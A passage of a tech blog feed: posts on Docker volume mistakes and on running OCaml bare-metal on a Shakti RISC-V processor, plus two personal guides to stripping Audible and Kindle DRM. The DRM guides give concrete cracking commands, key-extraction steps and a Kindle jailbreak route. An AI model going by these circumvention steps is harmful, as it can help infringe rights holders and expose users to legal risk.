<p>Ah! Storage. It’s always not a rosy scenario whenever someone mentions storage and containers in the same sentence. Anyway, so I had this requirement where I needed 2 containers to share data. Either of the containers could modify this data, so it made for a strong use case for volumes. But for some strange reason, I decided to use bind mounts. My thought process was that I’ll bind the mount path of the host to container and both of them could share the data.
Now, I know, I know all the docker veterans already facepalming so hard, but in case anyone new to docker is reading it, it works the exact way I described. The host path will be mounted ON the container, so if your host path is empty, so will your container be. It took me quite some time to figure this out because of the side effect of it. I had this line in my docker-compose:</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="yaml"><span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">v</span><span style="color: light-dark(#22863A, #8DDB8C);">olumes</span><span>:</span></span>
<span class="giallo-l"><span>  -</span><span style="color: light-dark(#22863A, #8DDB8C);"> t</span><span style="color: light-dark(#22863A, #8DDB8C);">ype</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> b</span><span style="color: light-dark(#032F62, #96D0FF);">ind</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">    s</span><span style="color: light-dark(#22863A, #8DDB8C);">ource</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> /</span><span style="color: light-dark(#032F62, #96D0FF);">etc/custom/data</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">    t</span><span style="color: light-dark(#22863A, #8DDB8C);">arget</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> /</span></span></code></pre>
<p>As you can guess, I am mounting an empty folder <code>etc/custom/data</code> on the root directory of the container <code>/</code>. This was an <code>nginx</code> container and I got the weird error that <code>nginx</code> executable isn’t found. It became clear that I have obviously done something wrong. After reading the documentation, it became clear that I had to use something like <a rel="external" href="https://docs.docker.com/storage/volumes/">Named Volumes</a> and use the same volume label for both the containers. Here’s the correct docker compose example (I have removed the unnecessary fluff and only included the volumes part):</p>
<pre class="giallo" style="color-scheme: light dark; color: light-dark(#24292E, #ADBAC7); background-color: light-dark(#FFFFFF, #22272E);"><code data-lang="yaml"><span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">  n</span><span style="color: light-dark(#22863A, #8DDB8C);">ginx</span><span>:</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">    v</span><span style="color: light-dark(#22863A, #8DDB8C);">olumes</span><span>:</span></span>
<span class="giallo-l"><span>      -</span><span style="color: light-dark(#22863A, #8DDB8C);"> t</span><span style="color: light-dark(#22863A, #8DDB8C);">ype</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> v</span><span style="color: light-dark(#032F62, #96D0FF);">olume</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">        s</span><span style="color: light-dark(#22863A, #8DDB8C);">ource</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> a</span><span style="color: light-dark(#032F62, #96D0FF);">ssets-vol</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">        t</span><span style="color: light-dark(#22863A, #8DDB8C);">arget</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> /</span><span style="color: light-dark(#032F62, #96D0FF);">usr/share/nginx/frontend</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">  f</span><span style="color: light-dark(#22863A, #8DDB8C);">rontend</span><span>:</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">    v</span><span style="color: light-dark(#22863A, #8DDB8C);">olumes</span><span>:</span></span>
<span class="giallo-l"><span>      -</span><span style="color: light-dark(#22863A, #8DDB8C);"> t</span><span style="color: light-dark(#22863A, #8DDB8C);">ype</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> v</span><span style="color: light-dark(#032F62, #96D0FF);">olume</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">        s</span><span style="color: light-dark(#22863A, #8DDB8C);">ource</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> a</span><span style="color: light-dark(#032F62, #96D0FF);">ssets-vol</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">        t</span><span style="color: light-dark(#22863A, #8DDB8C);">arget</span><span>:</span><span style="color: light-dark(#032F62, #96D0FF);"> /</span><span style="color: light-dark(#032F62, #96D0FF);">frontend/dist</span></span>
<span class="giallo-l"></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">v</span><span style="color: light-dark(#22863A, #8DDB8C);">olumes</span><span>:</span></span>
<span class="giallo-l"><span style="color: light-dark(#22863A, #8DDB8C);">  a</span><span style="color: light-dark(#22863A, #8DDB8C);">ssets-vol</span><span>:</span></span></code></pre>
<p><code>assets-vol</code> is a named volume and can be managed using docker API.</p>
<h2 id="cmd-vs-run">CMD vs RUN<a class="zola-anchor" href="#cmd-vs-run" aria-label="Anchor link for: cmd-vs-run">#</a></h2>
<p>Now, this is particularly interesting. So I have a volume mount as shown in the previous example, and quite naively I am copying some files from container 1 to container 2 at build stage. I get the error that this path doesn’t exist. I am seriously reconsidering my life decisions right now.</p>
<p><code>RUN cp /frontend/dist /usr/share/nginx/frontend</code></p>
<p>And then it became apparent that the volume is only mounted while the container is running, not when it is building. So I had to use CMD.</p>
<p><code>CMD cp /frontend/dist /usr/share/nginx/frontend</code></p>
<p>Why <code>RUN</code> doesn’t work and <code>CMD</code> works, you might ask? This is because that’s how docker volumes are in nature. They bypass the unionFS (which is used to build docker images). UnionFS chain together a layer of images and build new images on top. Whenever you run a container from an image, a new layer is created for the container process. If you specify a path as a volume, this path doesn’t get <code>committed</code> to the container data layer and is bypassed. So, TL;DR, volumes are really only accessible when the container is running and you can’t access them while building.</p>
<h3 id="epilogue">Epilogue<a class="zola-anchor" href="#epilogue" aria-label="Anchor link for: epilogue">#</a></h3>
<p>I plan to share more such silly mistakes of mine while exploring more of Docker (and hopefully running production workloads on it soon!). It really is fun though, believe me :)</p>
]]></content:encoded>
            <author>Karan Sharma</author>
        </item>
        <item>
            <title><![CDATA[Stripping Audible DRM]]></title>
            <link>https://captnemo.in/blog/2019/04/14/audible-drm/</link>
            <guid isPermaLink="false">https://captnemo.in/blog/2019/04/14/audible-drm/</guid>
            <pubDate>Sun, 14 Apr 2019 00:00:00 GMT</pubDate>
            <description><![CDATA[Self-Guide for stripping the Audible DRM, in similar vein as my Kindle Self-Guide.
Download the aax file from Audible website.
Run the inAudible-NG Rainbrow crack table against the AAX file.
Easiest way is via docker/podman:

cd ~/Music/Audiobooks
podman run -v $(pwd):/data ryanfb/inaudible@sha256:b66738d235be1007797e3a0a0ead115fa227e81e2ab5b7befb97d43f7712fac5
for i in "*.m4a"; do fix-audible-m4a "$i";done


The cool part about this is that the entire activation is done offline, and runs a Rainbow Table attack against the Audible DRM. To make the process faster in the future, you can save your “activation bytes” (8 hex characters) and directly use them with ffmpeg to decode instead:
ffmpeg -loglevel panic -y -activation_bytes ${AUDIBLE_ACTIVATION_BYTES} -i "$aax_file" -c:a copy -vn "$m4a_file"
A small percentage of Audible AAX files have a incorrect bit set in the “Audio Object Type Specific Config” in the ESDS atom in an M4A file, which leads to them not playing in
Firefox/Android and some other players. To fix this, I have a fix-audible-m4a script called above.
References
https://github.com/ryanfb/docker_inaudible_rainbowcrack
https://github.com/inAudible-NG/tables
https://rentry.co/n4ost]]></description>
            <content:encoded><![CDATA[<p>Self-Guide for stripping the Audible DRM, in similar vein as my <a href="https://captnemo.in/blog/2019/03/26/kindle-self-guide/">Kindle Self-Guide</a>.</p>

<ol>
  <li>Download the aax file from Audible website.</li>
  <li>Run the inAudible-NG Rainbrow crack table against the AAX file.</li>
</ol>

<p>Easiest way is via docker/podman:</p>

<div class="language-plaintext highlighter-rouge"><div class="highlight"><pre class="highlight"><code>cd ~/Music/Audiobooks
podman run -v $(pwd):/data ryanfb/inaudible@sha256:b66738d235be1007797e3a0a0ead115fa227e81e2ab5b7befb97d43f7712fac5
for i in "*.m4a"; do fix-audible-m4a "$i";done
</code></pre></div></div>

<p>The cool part about this is that the entire activation is done offline, and runs a Rainbow Table attack against the Audible DRM. To make the process faster in the future, you can save your “activation bytes” (8 hex characters) and directly use them with ffmpeg to decode instead:</p>

<p><code class="language-plaintext highlighter-rouge">ffmpeg -loglevel panic -y -activation_bytes ${AUDIBLE_ACTIVATION_BYTES} -i "$aax_file" -c:a copy -vn "$m4a_file"</code></p>

<p>A small percentage of Audible AAX files have a incorrect bit set in the “Audio Object Type Specific Config” in the ESDS atom in an M4A file, which leads to them not playing in
Firefox/Android and some other players. To fix this, I have a <a href="https://github.com/captn3m0/Scripts/blob/master/fix-audible-m4a">fix-audible-m4a</a> script called above.</p>

<h2 id="references">References</h2>

<ul>
  <li><a href="https://github.com/ryanfb/docker_inaudible_rainbowcrack">https://github.com/ryanfb/docker_inaudible_rainbowcrack</a></li>
  <li><a href="https://github.com/inAudible-NG/tables">https://github.com/inAudible-NG/tables</a></li>
  <li><a href="https://rentry.co/n4ost">https://rentry.co/n4ost</a></li>
</ul>
]]></content:encoded>
            <author>Nemo</author>
        </item>
        <item>
            <title><![CDATA[OCaml on Baremetal Shakti RISC-V processor]]></title>
            <link>https://kcsrk.info/ocaml/riscv/shakti/2019/03/29/1400-ocaml-baremetal-shakti/</link>
            <guid isPermaLink="false">https://kcsrk.info/ocaml/riscv/shakti/2019/03/29/1400-ocaml-baremetal-shakti/</guid>
            <pubDate>Fri, 29 Mar 2019 14:00:00 GMT</pubDate>
            <description><![CDATA[It has been 3 months since I joined IIT Madras and it
has been good fun so far. Along with the members of the RISE
group, we’ve initiated a project to build secure
applications on top of secure extensions of the open-source
Shakti RISC-V processor ecosystem. Unsurprisingly, my
language of choice to build the applications is OCaml.
Given the availability of rich ecosystem of libraries under the
MirageOS library operating system for building unikernels,
we hope to minimise the amount of unsafe C code that the hardware has to contend
with and protect exploits against. As a first step, we have managed to get OCaml
programs to run on directly on top of the Shakti processor running in simulation
under QEMU and Spike ISA simulators without an intervening operating system.
A custom bootloader performs the necessary hardware initialisation and
transfers control directly to the OCaml program. We have
open-sourced
all of the tools necessary to build your own kernel. This handy
dockerfile
documents the entire process. For the impatient, an image is available in the
dockerhub:

$ docker run -it iitmshakti/riscv-ocaml-baremetal:0.1.0

# Write your program
$ echo 'let _ = print_endline "A camel treads on hardware!"' > hello.ml
# Compile for Shakti
$ ocamlopt -output-obj -o payload.o hello.ml
$ file payload.o
payload.o: ELF 64-bit LSB relocatable, UCB RISC-V, version 1 (SYSV), not stripped

# Link with bootcode and build the kernel
$ make -C ../build
make: Entering directory '/root/ocaml-baremetal-riscv/build'
make[1]: Entering directory '/root/ocaml-baremetal-riscv/build'
make[2]: Entering directory '/root/ocaml-baremetal-riscv/build'
make[2]: Leaving directory '/root/ocaml-baremetal-riscv/build'
[ 64%] Built target boot
make[2]: Entering directory '/root/ocaml-baremetal-riscv/build'
make[2]: Leaving directory '/root/ocaml-baremetal-riscv/build'
[ 78%] Built target freestanding-compat
make[2]: Entering directory '/root/ocaml-baremetal-riscv/build'
make[2]: Leaving directory '/root/ocaml-baremetal-riscv/build'
[ 85%] Built target asmrun_t
make[2]: Entering directory '/root/ocaml-baremetal-riscv/build'
make[2]: Leaving directory '/root/ocaml-baremetal-riscv/build'
[ 92%] Built target nolibc_t
make[2]: Entering directory '/root/ocaml-baremetal-riscv/build'
make[2]: Leaving directory '/root/ocaml-baremetal-riscv/build'
[100%] Built target kernel
make[1]: Leaving directory '/root/ocaml-baremetal-riscv/build'
make: Leaving directory '/root/ocaml-baremetal-riscv/build'
$ file kernel 
kernel: ELF 64-bit LSB executable, UCB RISC-V, version 1 (SYSV), statically linked, with debug_info, not stripped

# Run under spike RISC-V ISA simulator
$ spike kernel
ocaml-boot: heap@0x80042be8 stack@0x8002fbc0
A camel treads on hardware!
ocaml-boot: caml runtime returned. shutting down!

# Run under QEMU
$ qemu-system-riscv64 -machine spike_v1.10 -smp 1 -m 1G -serial stdio -kernel kernel
VNC server running on 127.0.0.1:5900
ocaml-boot: heap@0x80042be8 stack@0x8002fbc0
A camel treads on hardware!
ocaml-boot: caml runtime returned. shutting down!


The immediate next step will be getting the code to run on a Shakti softcore on
an FPGA. In addition to targeting high-end FPGAs, we will also be targeting the
$100 Arty
A7
hobbyist board and release all of the software under liberal open-source
licenses.
Further along, we will port mirage libraries to Shakti following similar to the
setup in Well-typed lightbulbs and
implementing hardware security enhancements in Shakti for preventing spatial and
temporal attacks while running unsafe C code (with the ability to dynamically
turn it off when running OCaml!), hardware-assisted compartments, etc. Lots of
exciting possibilities on the horizon!
Acknowledgements
Much of this work was done by the incredible Malte,
who is a visiting student at IIT Madras on a semester away from Leibniz
University Hannover,
Arjun, Lavanya,
Ambika, Chester, and the rest of the
Shakti team. The RISC-V port of OCaml is developed and maintained by Nicolás
Ojeda Bär.]]></description>
            <content:encoded><![CDATA[<p>It has been 3 months since I joined <a href="https://www.iitm.ac.in/">IIT Madras</a> and it
has been good fun so far. Along with the members of the <a href="http://rise.cse.iitm.ac.in/">RISE
group</a>, we’ve initiated a project to build secure
applications on top of secure extensions of the open-source
<a href="http://shakti.org.in/">Shakti</a> RISC-V processor ecosystem. Unsurprisingly, my
language of choice to build the applications is <a href="http://www.ocaml.org/">OCaml</a>.
Given the availability of rich ecosystem of libraries under the
<a href="https://mirage.io/">MirageOS</a> library operating system for building unikernels,
we hope to minimise the amount of unsafe C code that the hardware has to contend
with and protect exploits against. As a first step, we have managed to get OCaml
programs to run on directly on top of the Shakti processor running in simulation
under QEMU and Spike ISA simulators <em>without an intervening operating system</em>.</p>

<!--more-->

<p>A custom bootloader performs the necessary hardware initialisation and
transfers control directly to the OCaml program. We have
<a href="https://gitlab.com/shaktiproject/tools/shakti-tee/ocaml-baremetal-riscv">open-sourced</a>
all of the tools necessary to build your own kernel. This handy
<a href="https://gitlab.com/shaktiproject/tools/shakti-tee/ocaml-baremetal-riscv/tree/master/docker">dockerfile</a>
documents the entire process. For the impatient, an image is available in the
dockerhub:</p>

<div class="language-bash highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$ </span>docker run <span class="nt">-it</span> iitmshakti/riscv-ocaml-baremetal:0.1.0

<span class="c"># Write your program</span>
<span class="nv">$ </span><span class="nb">echo</span> <span class="s1">'let _ = print_endline "A camel treads on hardware!"'</span> <span class="o">&gt;</span> hello.ml
<span class="c"># Compile for Shakti</span>
<span class="nv">$ </span>ocamlopt <span class="nt">-output-obj</span> <span class="nt">-o</span> payload.o hello.ml
<span class="nv">$ </span>file payload.o
payload.o: ELF 64-bit LSB relocatable, UCB RISC-V, version 1 <span class="o">(</span>SYSV<span class="o">)</span>, not stripped

<span class="c"># Link with bootcode and build the kernel</span>
<span class="nv">$ </span>make <span class="nt">-C</span> ../build
make: Entering directory <span class="s1">'/root/ocaml-baremetal-riscv/build'</span>
make[1]: Entering directory <span class="s1">'/root/ocaml-baremetal-riscv/build'</span>
make[2]: Entering directory <span class="s1">'/root/ocaml-baremetal-riscv/build'</span>
make[2]: Leaving directory <span class="s1">'/root/ocaml-baremetal-riscv/build'</span>
<span class="o">[</span> 64%] Built target boot
make[2]: Entering directory <span class="s1">'/root/ocaml-baremetal-riscv/build'</span>
make[2]: Leaving directory <span class="s1">'/root/ocaml-baremetal-riscv/build'</span>
<span class="o">[</span> 78%] Built target freestanding-compat
make[2]: Entering directory <span class="s1">'/root/ocaml-baremetal-riscv/build'</span>
make[2]: Leaving directory <span class="s1">'/root/ocaml-baremetal-riscv/build'</span>
<span class="o">[</span> 85%] Built target asmrun_t
make[2]: Entering directory <span class="s1">'/root/ocaml-baremetal-riscv/build'</span>
make[2]: Leaving directory <span class="s1">'/root/ocaml-baremetal-riscv/build'</span>
<span class="o">[</span> 92%] Built target nolibc_t
make[2]: Entering directory <span class="s1">'/root/ocaml-baremetal-riscv/build'</span>
make[2]: Leaving directory <span class="s1">'/root/ocaml-baremetal-riscv/build'</span>
<span class="o">[</span>100%] Built target kernel
make[1]: Leaving directory <span class="s1">'/root/ocaml-baremetal-riscv/build'</span>
make: Leaving directory <span class="s1">'/root/ocaml-baremetal-riscv/build'</span>
<span class="nv">$ </span>file kernel 
kernel: ELF 64-bit LSB executable, UCB RISC-V, version 1 <span class="o">(</span>SYSV<span class="o">)</span>, statically linked, with debug_info, not stripped

<span class="c"># Run under spike RISC-V ISA simulator</span>
<span class="nv">$ </span>spike kernel
ocaml-boot: heap@0x80042be8 stack@0x8002fbc0
A camel treads on hardware!
ocaml-boot: caml runtime returned. shutting down!

<span class="c"># Run under QEMU</span>
<span class="nv">$ </span>qemu-system-riscv64 <span class="nt">-machine</span> spike_v1.10 <span class="nt">-smp</span> 1 <span class="nt">-m</span> 1G <span class="nt">-serial</span> stdio <span class="nt">-kernel</span> kernel
VNC server running on 127.0.0.1:5900
ocaml-boot: heap@0x80042be8 stack@0x8002fbc0
A camel treads on hardware!
ocaml-boot: caml runtime returned. shutting down!
</code></pre></div></div>

<p>The immediate next step will be getting the code to run on a Shakti softcore on
an FPGA. In addition to targeting high-end FPGAs, we will also be targeting the
$100 <a href="https://store.digilentinc.com/arty-a7-artix-7-fpga-development-board-for-makers-and-hobbyists/">Arty
A7</a>
hobbyist board and release all of the software under liberal open-source
licenses.</p>

<p>Further along, we will port mirage libraries to Shakti following similar to the
setup in <a href="https://github.com/well-typed-lightbulbs/">Well-typed lightbulbs</a> and
implementing hardware security enhancements in Shakti for preventing spatial and
temporal attacks while running unsafe C code (with the ability to dynamically
turn it off when running OCaml!), hardware-assisted compartments, etc. Lots of
exciting possibilities on the horizon!</p>

<h2 id="acknowledgements">Acknowledgements</h2>

<p>Much of this work was done by the incredible <a href="https://github.com/sl33k">Malte</a>,
who is a visiting student at IIT Madras on a semester away from Leibniz
University Hannover,
<a href="https://www.linkedin.com/in/arjun-menon/?originalSubdomain=in">Arjun</a>, Lavanya,
Ambika, <a href="http://www.cse.iitm.ac.in/~chester/">Chester</a>, and the rest of the
Shakti team. The RISC-V port of OCaml is developed and maintained by <a href="https://nojb.github.io/">Nicolás
Ojeda Bär</a>.</p>
]]></content:encoded>
            <author>KC Sivaramakrishnan</author>
        </item>
        <item>
            <title><![CDATA[Kindle Hacks, A Self-guide]]></title>
            <link>https://captnemo.in/blog/2019/03/26/kindle-self-guide/</link>
            <guid isPermaLink="false">https://captnemo.in/blog/2019/03/26/kindle-self-guide/</guid>
            <pubDate>Tue, 26 Mar 2019 00:00:00 GMT</pubDate>
            <description><![CDATA[I run a non-standard Kindle configuration:
Jailbroken (because I want to own the device, not rent it)
Runs KOReader (because I want to read EPUBs and PDFs with reflow.)
DRM Stripping (because I want to own the book, not rent it)
Since I don’t do any of these often enough to automate it, this is a self guide to help me follow these steps the next time I have to do any of this. No guarantees of this being helpful to anyone else but me.
Jailbreak
The lifehacker guide on how to jailbreak your kindle is a good starting point [archived]. The mobileread forums have the definitive guides. Also see this FAQ on the mobileread wiki.
(Most of these only cover modern paperwhite kindles)
Maintaining the Jailbreak
Sometimes, Kindle firmware updates will stop the Jailbreak. Search for your firmware on mobileread forums. See this link for the 5.8 series.
Copy the .bin file to your kindle root directory and trigger a manual firmware update. That should reboot and re-affirm the jailbreak. To trigger a manual firmware update, go to the Kindle Menu and click “Update”. If it is greyed out, check if the file was copied correctly, and try rebooting.
Applications
Once you have a jailbreak, the rest is mostly installing packages via MRPI. I keep a ready directory of packages I can copy as-is to my Kindle. The current listing is at https://paste.ubuntu.com/p/CXS5hYZdqc/ with most of it just being koreader.
koreader is a FOSS document viewer for E Ink devices that supports Kindle, Kobo, PocketBook, Ubuntu Touch and Android devices.
The primary 2 packages are:
Update_KUALBooklet_v2.7_install.bin
update_kpvbooklet_0.6.6_install.bin
Run ;log mrpi via search after copying them to re-install them if needed.
koreader
Download the latest release from GitHub.
You should download the kindle5-linux-gnueabi package for modern Paperwhites. Unzip it to the copy directory mentioned above.
Aside: koreader has a linux appimage version for desktops, which I package for AUR.
DRM Related Stuff
DRM is inherently bad for users. If I switch my Ebook reader from Kindle (which are great as of today) to
a Kobo tomorrow, I want my content to stay with me.
There are much better websites that explain the issues with DRM, so go visit: fckdrm.com, DefectiveByDesign.org, or EFF/drm.
The primary tool for stripping DRM from Kindle books is apprenticeharper’s DeDRM Repo which works as a Calibre Plugin. If you are running calibre with Python 3 (such as via the calibre-python3 package on Arch Linux) - you should install the DeDRM plugin from the python3 fork. Compress the DeDRM_plugin directory into a flat-zip file and use that in Calibre.
Getting the Key
My current key is saved in pass:
pass show Keys/Kindle.k4i |jq
Save it in a file, which you can import to Calibre.
If you don’t have the key or if the above isn’t valid, see this comment on r/ebooks [archived].
Importing the Key
At the bottom-left of the plugin’s customization dialog, you will see a button labeled “Import Existing Keyfiles”. Use this button to import existing ‘.k4i’ key files. Key files might come from being exported from this plugin, or may have been generated using the kindlekey.pyw script running under Wine on Linux systems.
I once did some trickery on the kindlekey.pyw application to get it working on my system, but I didn’t take notes. If I ever do this again - AUTOMATE THIS.
Getting a copy of the encrypted book
There are multiple sources for you to try.
Amazon website’s My Content page is the easiest. It doesn’t work for books with special typesetting - quite rare. Prefer this over everything else.
Download via the Kindle for PC application (See next section).
Get the KFX file from your Kindle device.
Copy the KFX/AZW file from the Android/iOS application.
Kindle for PC
Stripping DRM for any medium is always a cat-and-mouse game. Amazon keeps changing the DRM format in every Kindle firmware update, which is why the recommended method is to use a known/older version of the Kindle for Mac/PC Application as your source.
Note: The 1.24.3 release does not work on Linux. If you’re on Linux, you must instead download the 1.17.0 release instead (sha256=14e0f0053f1276c0c7c446892dc170344f707fbfe99b6951762c120144163200).
Install Kindle for PC. It does work on Wine. Make sure you download 1.24.3 (51068). I trust filehippo for this. The sha256sum for the installer is c7a1a93763d102bca0fed9c16799789ae18c3322b1b3bdfbe8c00422c32f83d7.
Install then launch it, and download the book.
Go to ~/Documents/My Kindle Content
Find book by Last Modified Date.
Run calibredb add book.azw. If all goes well, the book should show up in your library, and you should be able to convert it.
Reference Files
I have a backup of my current Kindle files at http://ge.tt/75zk4Dv2 in case you need any of the files mentioned above. Checksums for the files are below, since ge.tt doesn’t believe in HTTPS:

e3b05193ed9d0b482f01dfb550eba67f3b113b5165aae5632379cf35fec2f59d  copy.tar.gz
14e0f0053f1276c0c7c446892dc170344f707fbfe99b6951762c120144163200  KindleForPC-installer-1.17.44170.exe
c7a1a93763d102bca0fed9c16799789ae18c3322b1b3bdfbe8c00422c32f83d7  KindleForPC-installer-1.24.51068.exe
50bb0e5d9c03bcb79b17c1b7063cefd2c947a9d1c4392814e6ec05225296472a  kual-helper-0.5.N.zip
39352b4b68993680f06d5ecc57ce7ec4c271b6b5f2386ea998027420c45f2acd  KUAL-KDK-1.0.azw2
ceb207ee4c8d3674f308ff91432aeabf213b203571e270f70b8ae218df6ded7d  KUAL-KDK-2.0.azw2
fce02f0e104e846f1e4cc0e029500c5a722614d63a47035d78ea4cf59f67a448  kual-mrinstaller-1.6.N.zip
4a6de1fafe47ec0e3bfb529edead401c92e66b00697d507abe945679b3b7bc65  KUAL-v2.7.zip
253d0b00b31d62ef9dadb7ca88b98e2718cb35246816b3c50dd63c0a7ef28a52  Update_jailbreak_hotfix_1.14_5.8.10_install.bin
cc63ba1b454d1f32492c835f108ee04aaa80e6e7a95f12b7216c2c015daa2fbc  Update_jailbreak_hotfix_1.14_nomax_install.bin]]></description>
            <content:encoded><![CDATA[<p>I run a non-standard Kindle configuration:</p>

<ol>
  <li>Jailbroken <small>(because I want to own the device, not rent it)</small></li>
  <li>Runs KOReader <small>(because I want to read EPUBs and PDFs with reflow.)</small></li>
  <li>DRM Stripping <small>(because I want to own the book, not rent it)</small></li>
</ol>

<p>Since I don’t do any of these often enough to automate it, this is a self guide to help me follow these steps the next time I have to do any of this. No guarantees of this being helpful to anyone else but me.</p>

<h1 id="jailbreak">Jailbreak</h1>

<p>The <a href="https://lifehacker.com/how-to-jailbreak-your-kindle-1783864074" title="Lifehacker's Guide on how to Jailbreak a Kindle">lifehacker guide on how to jailbreak your kindle</a> is a good starting point [<a href="https://outline.com/cEZNAt">archived</a>]. The mobileread forums have the <a href="https://www.mobileread.com/forums/showthread.php?t=275881">definitive guides</a>. Also see <a href="https://wiki.mobileread.com/wiki/5_x_Jailbreak#Will_this_jail_break_work_on_my_current_firmware.3F">this FAQ</a> on the mobileread wiki.</p>

<p>(Most of these only cover modern paperwhite kindles)</p>

<h2 id="maintaining-the-jailbreak">Maintaining the Jailbreak</h2>

<p>Sometimes, Kindle firmware updates will stop the Jailbreak. Search for your firmware on mobileread forums. See <a href="https://www.mobileread.com/forums/showthread.php?p=3562050">this link</a> for the 5.8 series.</p>

<p>Copy the <code class="language-plaintext highlighter-rouge">.bin</code> file to your kindle root directory and trigger a manual firmware update. That should reboot and re-affirm the jailbreak. To trigger a manual firmware update, go to the Kindle Menu and click “Update”. If it is greyed out, check if the file was copied correctly, and try rebooting.</p>

<h1 id="applications">Applications</h1>

<p>Once you have a jailbreak, the rest is mostly installing packages via MRPI. I keep a ready directory of packages I can copy as-is to my Kindle. The current listing is at <a href="https://paste.ubuntu.com/p/CXS5hYZdqc/">https://paste.ubuntu.com/p/CXS5hYZdqc/</a> with most of it just being koreader.</p>

<p><a href="https://koreader.rocks">koreader</a> is a FOSS document viewer for E Ink devices that supports Kindle, Kobo, PocketBook, Ubuntu Touch and Android devices.</p>

<p>The primary 2 packages are:</p>

<ul>
  <li><code class="language-plaintext highlighter-rouge">Update_KUALBooklet_v2.7_install.bin</code></li>
  <li><code class="language-plaintext highlighter-rouge">update_kpvbooklet_0.6.6_install.bin</code></li>
</ul>

<p>Run <code class="language-plaintext highlighter-rouge">;log mrpi</code> via search after copying them to re-install them if needed.</p>

<h2 id="koreader">koreader</h2>

<p>Download the latest release from <a href="https://github.com/koreader/koreader/releases/latest">GitHub</a>.</p>

<p>You should download the <code class="language-plaintext highlighter-rouge">kindle5-linux-gnueabi</code> package for modern Paperwhites. Unzip it to the copy directory mentioned above.</p>

<p>Aside: koreader has a linux appimage version for desktops, which <a href="https://aur.archlinux.org/packages/koreader-appimage/">I package for AUR</a>.</p>

<h1 id="drm-related-stuff">DRM Related Stuff</h1>

<p>DRM is inherently bad for users. If I switch my Ebook reader from Kindle (which are great <em>as of today</em>) to
a Kobo tomorrow, I want my content to stay with me.</p>

<p>There are much better websites that explain the issues with DRM, so go visit: <a href="https://fckdrm.com/">fckdrm.com</a>, <a href="https://www.defectivebydesign.org">DefectiveByDesign.org</a>, or <a href="https://www.eff.org/issues/drm">EFF/drm</a>.</p>

<p>The primary tool for stripping DRM from Kindle books is <a href="https://github.com/apprenticeharper/DeDRM_tools">apprenticeharper’s DeDRM Repo</a> which works as a <a href="https://calibre-ebook.com/">Calibre Plugin</a>. If you are running calibre with Python 3 (such as via the <a href="https://www.archlinux.org/packages/community/x86_64/calibre-python3/">calibre-python3</a> package on Arch Linux) - you should install the DeDRM plugin from the <a href="https://github.com/lalmeras/DeDRM_tools/tree/Python3/DeDRM_plugin">python3 fork</a>. Compress the <code class="language-plaintext highlighter-rouge">DeDRM_plugin</code> directory into a flat-zip file and use that in Calibre.</p>

<h2 id="getting-the-key">Getting the Key</h2>

<p>My current key is saved in pass:</p>

<p><code class="language-plaintext highlighter-rouge">pass show Keys/Kindle.k4i |jq</code></p>

<p>Save it in a file, which you can import to Calibre.</p>

<p>If you don’t have the key or if the above isn’t valid, see <a href="https://www.reddit.com/r/ebooks/comments/2muccd/remove_drm_restrictions_from_almost_any_type_of/cm8f5gt/">this comment on r/ebooks</a> [<a href="https://web.archive.org/web/20190326171740/https://www.reddit.com/r/ebooks/comments/2muccd/remove_drm_restrictions_from_almost_any_type_of/cm8f5gt/">archived</a>].</p>

<h2 id="importing-the-key">Importing the Key</h2>

<blockquote>
  <p>At the bottom-left of the plugin’s customization dialog, you will see a button labeled “Import Existing Keyfiles”. Use this button to import existing ‘.k4i’ key files. Key files might come from being exported from this plugin, or may have been generated using the kindlekey.pyw script running under Wine on Linux systems.</p>
</blockquote>

<p>I once did some trickery on the <code class="language-plaintext highlighter-rouge">kindlekey.pyw</code> application to get it working on my system, but I didn’t take notes. If I ever do this again - AUTOMATE THIS.</p>

<h2 id="getting-a-copy-of-the-encrypted-book">Getting a copy of the encrypted book</h2>

<p>There are multiple sources for you to try.</p>

<ol>
  <li>Amazon website’s My Content page is the easiest. It doesn’t work for books with special typesetting - quite rare. Prefer this over everything else.</li>
  <li>Download via the Kindle for PC application (See next section).</li>
  <li>Get the KFX file from your Kindle device.</li>
  <li>Copy the KFX/AZW file from the Android/iOS application.</li>
</ol>

<h3 id="kindle-for-pc">Kindle for PC</h3>

<p>Stripping DRM for any medium is always a cat-and-mouse game. Amazon keeps changing the DRM format in every Kindle firmware update, which is why the recommended method is to use a known/older version of the Kindle for Mac/PC Application as your source.</p>

<p><em>Note</em>: The 1.24.3 release does not work on Linux. If you’re on Linux, you must instead download the <a href="https://filehippo.com/download_kindle_for_pc/download/a6284b51053b0e38f4b9f90d4470bd91/">1.17.0</a> release instead (<code class="language-plaintext highlighter-rouge">sha256=14e0f0053f1276c0c7c446892dc170344f707fbfe99b6951762c120144163200</code>).</p>

<ol>
  <li>Install Kindle for PC. It does work on Wine. Make sure you download <code class="language-plaintext highlighter-rouge">1.24.3 (51068)</code>. I trust <a href="https://filehippo.com/download_kindle_for_pc/download/ef9369348002466588fd3316af6e00fb/">filehippo</a> for this. The sha256sum for the installer is <code class="language-plaintext highlighter-rouge">c7a1a93763d102bca0fed9c16799789ae18c3322b1b3bdfbe8c00422c32f83d7</code>.</li>
